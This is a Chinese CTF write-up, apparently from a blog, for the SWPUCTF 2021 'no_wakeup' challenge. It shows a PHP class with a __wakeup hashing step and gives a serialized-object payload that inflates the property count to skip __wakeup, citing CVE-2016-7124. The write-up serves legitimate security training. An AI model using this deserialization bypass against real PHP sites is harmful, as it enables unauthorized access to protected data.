(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
还鮟3 小时前
CTF Web PHP弱类型与进制绕过(过滤)
php·ctf
sealaugh323 小时前
aws(学习笔记第四十八课) appsync-graphql-dynamodb
笔记·学习·aws
zorro_z3 小时前
PHP语法基础篇(八):超全局变量
php
水木兰亭3 小时前
数据结构之——树及树的存储
数据结构·c++·学习·算法
鱼摆摆拜拜4 小时前
第 3 章:神经网络如何学习
人工智能·神经网络·学习
aha-凯心4 小时前
vben 之 axios 封装
前端·javascript·学习
ytttr8737 小时前
matlab通过Q学习算法解决房间路径规划问题
学习·算法·matlab
听风ツ10 小时前
固高运动控制
学习
西岭千秋雪_10 小时前
Redis缓存架构实战
java·redis·笔记·学习·缓存·架构
XvnNing10 小时前
【Verilog硬件语言学习笔记4】FPGA串口通信
笔记·学习·fpga开发